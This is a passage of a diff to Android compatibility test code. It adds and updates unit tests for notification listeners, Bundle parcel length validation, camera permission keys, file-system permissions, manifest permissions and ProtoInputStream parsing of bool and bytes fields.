+        return new ComponentName(TestNotificationListener.class.getPackage().getName(),
+                TestNotificationListener.class.getName());
     }
 
     @Override
@@ -63,7 +63,7 @@
         isConnected = false;
     }
 
-    public static MockNotificationListener getInstance() {
+    public static TestNotificationListener getInstance() {
         return sNotificationListenerInstance;
     }
 
@@ -75,12 +75,14 @@
     @Override
     public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
         if (!mTestPackages.contains(sbn.getPackageName())) { return; }
+        mRankingMap = rankingMap;
         mPosted.add(sbn);
     }
 
     @Override
     public void onNotificationRemoved(StatusBarNotification sbn, RankingMap rankingMap) {
         if (!mTestPackages.contains(sbn.getPackageName())) { return; }
+        mRankingMap = rankingMap;
         mRemoved.add(sbn);
     }
 
diff --git a/tests/tests/os/src/android/os/cts/BundleTest.java b/tests/tests/os/src/android/os/cts/BundleTest.java
index 58d6e37..ca70fe3 100644
--- a/tests/tests/os/src/android/os/cts/BundleTest.java
+++ b/tests/tests/os/src/android/os/cts/BundleTest.java
@@ -902,6 +902,29 @@
         }
     }
 
+    public void testBundleLengthNotAlignedByFour() {
+        mBundle.putBoolean(KEY, true);
+        assertEquals(1, mBundle.size());
+        Parcel p = Parcel.obtain();
+        final int lengthPos = p.dataPosition();
+        mBundle.writeToParcel(p, 0);
+        p.setDataPosition(lengthPos);
+        final int length = p.readInt();
+        assertTrue(length != 0);
+        assertTrue(length % 4 == 0);
+        // Corrupt the bundle length so it is not aligned by 4.
+        p.setDataPosition(lengthPos);
+        p.writeInt(length - 1);
+        p.setDataPosition(0);
+        final Bundle b = new Bundle();
+        try {
+            b.readFromParcel(p);
+            fail("Failed to get an IllegalStateException");
+        } catch (IllegalStateException e) {
+            // Expect IllegalStateException here.
+        }
+    }
+
     /** Create a Bundle with values, with autogenerated keys. */
     private static Bundle buildBundle(Object... values) {
         final Bundle result = new Bundle();
diff --git a/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java b/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
index e40d7cb..4076ace 100644
--- a/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
@@ -21,12 +21,16 @@
 import android.content.Context;
 import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraCharacteristics.Key;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.platform.test.annotations.Presubmit;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import java.util.List;
+
 import com.android.ex.camera2.blocking.BlockingCameraManager;
 import com.android.ex.camera2.blocking.BlockingStateCallback;
 
@@ -95,6 +99,29 @@
     }
 
     /**
+     * Check the absence of camera characteristics keys that require Permission:
+     * {@link android.Manifest.permission#CAMERA}.
+     */
+    public void testCameraCharacteristicsNeedingPermission() throws Exception {
+        for (String id : mCameraIds) {
+            CameraCharacteristics capabilities = mCameraManager.getCameraCharacteristics(id);
+            assertNotNull("Camera characteristics shouldn't be null", capabilities);
+            List<Key<?>> keysNeedingPermission = capabilities.getKeysNeedingPermission();
+            if (keysNeedingPermission == null) {
+                continue;
+            }
+            List<Key<?>> keys = capabilities.getKeys();
+            assertNotNull("Camera characteristics key list shouldn't be null", keys);
+            for (Key<?> key : keysNeedingPermission) {
+                assertEquals("Key " + key.getName() + " needing permission is part of the" +
+                        " available characteristics keys", -1, keys.indexOf(key));
+                assertNull("Key " + key.getName() + " needing permission must not present" +
+                        " in camera characteristics", capabilities.get(key));
+            }
+        }
+    }
+
+    /**
      * Add and remove availability listeners should work without permission.
      */
     @Presubmit
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index d417a9a..5203705 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -461,11 +461,10 @@
     }
 
     @MediumTest
-    @AppModeFull(reason = "Instant Apps cannot access proc_net labeled files")
     @Test
     public void testTcpDefaultRwndSane() throws Exception {
         File f = new File("/proc/sys/net/ipv4/tcp_default_init_rwnd");
-        assertTrue(f.canRead());
+        assertFalse(f.canRead());
         assertFalse(f.canWrite());
         assertFalse(f.canExecute());
 
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 1de22dc..9351333 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -3658,9 +3658,13 @@
     <permission android:name="android.permission.RESET_FINGERPRINT_LOCKOUT"
         android:protectionLevel="signature" />
 
-    <!-- Allows managing (adding, removing) facial templates. Reserved for the system. @hide -->
-    <permission android:name="android.permission.MANAGE_FACE"
-        android:protectionLevel="signature|privileged" />
+    <!-- Allows direct access to the <Biometric>Service interfaces. Reserved for the system. @hide -->
+    <permission android:name="android.permission.MANAGE_BIOMETRIC"
+        android:protectionLevel="signature" />
+
+    <!-- Allows direct access to the <Biometric>Service authentication methods. Reserved for the system. @hide -->
+    <permission android:name="android.permission.USE_BIOMETRIC_INTERNAL"
+        android:protectionLevel="signature" />
 
     <!-- Allows an app to reset face authentication attempt counter. Reserved for the system. @hide -->
     <permission android:name="android.permission.RESET_FACE_LOCKOUT"
diff --git a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
index 2f155d8..4dc3226 100644
--- a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
@@ -69,7 +69,7 @@
         "android.net.conn.TETHER_STATE_CHANGED",
         "android.net.conn.INET_CONDITION_ACTION",
         "android.net.conn.CAPTIVE_PORTAL_TEST_COMPLETED",
-        "com.android.server.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER"
+        "com.android.server.inputmethod.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER"
     };
 
     private static final String BROADCASTS_TELEPHONY[] = new String[] {
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamBoolTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamBoolTest.java
new file mode 100644
index 0000000..32f0382
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamBoolTest.java
@@ -0,0 +1,502 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoParseException;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import org.junit.Assert;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.io.IOException;
+
+public class ProtoInputStreamBoolTest extends TestCase {
+
+    /**
+     * Test reading single bool field
+     */
+    public void testRead() throws IOException {
+        testRead(0);
+        testRead(1);
+        testRead(5);
+    }
+
+    /**
+     * Implementation of testRead with a given chunkSize.
+     */
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BOOL;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, not written
+                // 3 -> 1
+                (byte) 0x18,
+                (byte) 0x01,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        boolean[] results = new boolean[2];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    fail("Should never reach this");
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readBoolean(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(false, results[0]);
+        assertEquals(true, results[1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat(false);
+        testReadCompat(true);
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(boolean val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BOOL;
+        final long FIELD_ID = fieldFlags | ((long) 130 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.boolField = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        boolean result = false; // start off with default value
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readBoolean(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.boolField, result);
+    }
+
+
+    /**
+     * Test reading repeated bool field
+     */
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_BOOL;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+
+                // 4 -> 0
+                (byte) 0x20,
+                (byte) 0x00,
+                // 4 -> 1
+                (byte) 0x20,
+                (byte) 0x01,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+
+                // 3 -> 0
+                (byte) 0x18,
+                (byte) 0x00,
+                // 3 -> 1
+                (byte) 0x18,
+                (byte) 0x01,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        boolean[][] results = new boolean[3][2];
+        int[] indices = new int[3];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readBoolean(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readBoolean(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readBoolean(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(false, results[0][0]);
+        assertEquals(false, results[0][1]);
+        assertEquals(true, results[1][0]);
+        assertEquals(true, results[1][1]);
+        assertEquals(false, results[2][0]);
+        assertEquals(true, results[2][1]);
+    }
+
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new boolean[0]);
+        testRepeatedCompat(new boolean[]{false, true});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(boolean[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_BOOL;
+        final long FIELD_ID = fieldFlags | ((long) 131 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.boolFieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        boolean[] result = new boolean[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readBoolean(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.boolFieldRepeated.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.boolFieldRepeated[i], result[i]);
+        }
+    }
+
+    /**
+     * Test reading packed bool field
+     */
+    public void testPacked() throws IOException {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    /**
+     * Implementation of testPacked with a given chunkSize.
+     */
+    public void testPacked(int chunkSize) throws IOException {
+
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_BOOL;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x02,
+                (byte) 0x00,
+                (byte) 0x00,
+                // 4 -> 0,1
+                (byte) 0x22,
+                (byte) 0x02,
+                (byte) 0x00,
+                (byte) 0x01,
+                // 2 -> 1
+                (byte) 0x12,
+                (byte) 0x02,
+                (byte) 0x01,
+                (byte) 0x01,
+                // 3 -> 0,1
+                (byte) 0x1a,
+                (byte) 0x02,
+                (byte) 0x00,
+                (byte) 0x01,
+        };
+
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        boolean[][] results = new boolean[3][2];
+        int[] indices = new int[3];
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readBoolean(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readBoolean(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readBoolean(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(false, results[0][0]);
+        assertEquals(false, results[0][1]);
+        assertEquals(true, results[1][0]);
+        assertEquals(true, results[1][1]);
+        assertEquals(false, results[2][0]);
+        assertEquals(true, results[2][1]);
+    }
+
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new boolean[0]);
+        testPackedCompat(new boolean[]{false, true});
+    }
+
+    /**
+     * Implementation of testPackedCompat with a given value.
+     */
+    private void testPackedCompat(boolean[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_BOOL;
+        final long FIELD_ID = fieldFlags | ((long) 132 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.boolFieldPacked = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        boolean[] result = new boolean[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readBoolean(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.boolFieldPacked.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.boolFieldPacked[i], result[i]);
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BOOL;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readInt(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readLong(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBytes(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BOOL;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x01,
+                (byte) 0x01,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readBoolean(FIELD_ID_1);
+                        // don't fail, varint is ok
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readBoolean(FIELD_ID_2);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readBoolean(FIELD_ID_3);
+                        // don't fail, length delimited is ok (represents packed booleans)
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readBoolean(FIELD_ID_6);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamBytesTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamBytesTest.java
new file mode 100644
index 0000000..6a47be8
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamBytesTest.java
@@ -0,0 +1,422 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+public class ProtoInputStreamBytesTest extends TestCase {
+
+    public void testRead() throws IOException {
+        testRead(0);
+        testRead(1);
+        testRead(5);
+    }
+
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BYTES;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> null - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x00,
+                // 2 -> { } - default value, written when repeated
+                (byte) 0x12,
+                (byte) 0x00,
+                // 5 -> { 0, 1, 2, 3, 4 }
+                (byte) 0x2a,
+                (byte) 0x05,
+                (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x03, (byte) 0x04,
+                // 3 -> { 0, 1, 2, 3, 4, 5 }
+                (byte) 0x1a,
+                (byte) 0x06,
+                (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x03, (byte) 0x04, (byte) 0x05,
+                // 4 -> { (byte)0xff, (byte)0xfe, (byte)0xfd, (byte)0xfc }
+                (byte) 0x22,
+                (byte) 0x04,
+                (byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        byte[][] results = new byte[4][];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0] = pi.readBytes(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readBytes(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2] = pi.readBytes(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3] = pi.readBytes(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertTrue("Expected: []  Actual: " + Arrays.toString(results[0]),
+                Arrays.equals(new byte[]{}, results[0]));
+        assertTrue("Expected: []  Actual: " + Arrays.toString(results[1]),
+                Arrays.equals(new byte[]{}, results[1]));
+        assertTrue("Expected: [0, 1, 2, 3, 4, 5]  Actual: " + Arrays.toString(results[2]),
+                Arrays.equals(new byte[]{0, 1, 2, 3, 4, 5}, results[2]));
+        assertTrue("Expected: [-1, -2, -3, -4]  Actual: " + Arrays.toString(results[3]),
+                Arrays.equals(new byte[]{(byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc},
+                        results[3]));
+    }
+
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat(new byte[0]);
+        testReadCompat(new byte[]{1, 2, 3, 4});
+        testReadCompat(new byte[]{(byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc});
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(byte[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BYTES;
+        final long FIELD_ID = fieldFlags | ((long) 150 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.bytesField = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        byte[] result = new byte[val.length];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readBytes(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.bytesField.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.bytesField[i], result[i]);
+        }
+    }
+
+
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_BYTES;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> null - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x00,
+                // 2 -> { } - default value, written when repeated
+                (byte) 0x12,
+                (byte) 0x00,
+                // 3 -> { 0, 1, 2, 3, 4, 5 }
+                (byte) 0x1a,
+                (byte) 0x06,
+                (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x03, (byte) 0x04, (byte) 0x05,
+                // 4 -> { (byte)0xff, (byte)0xfe, (byte)0xfd, (byte)0xfc }
+                (byte) 0x22,
+                (byte) 0x04,
+                (byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc,
+
+                // 5 -> { 0, 1, 2, 3, 4}
+                (byte) 0x2a,
+                (byte) 0x05,
+                (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x03, (byte) 0x04,
+
+                // 1 -> null - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x00,
+                // 2 -> { } - default value, written when repeated
+                (byte) 0x12,
+                (byte) 0x00,
+                // 3 -> { 0, 1, 2, 3, 4, 5 }
+                (byte) 0x1a,
+                (byte) 0x06,
+                (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x03, (byte) 0x04, (byte) 0x05,
+                // 4 -> { (byte)0xff, (byte)0xfe, (byte)0xfd, (byte)0xfc }
+                (byte) 0x22,
+                (byte) 0x04,
+                (byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        byte[][][] results = new byte[4][2][];
+        int[] indices = new int[4];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readBytes(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readBytes(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
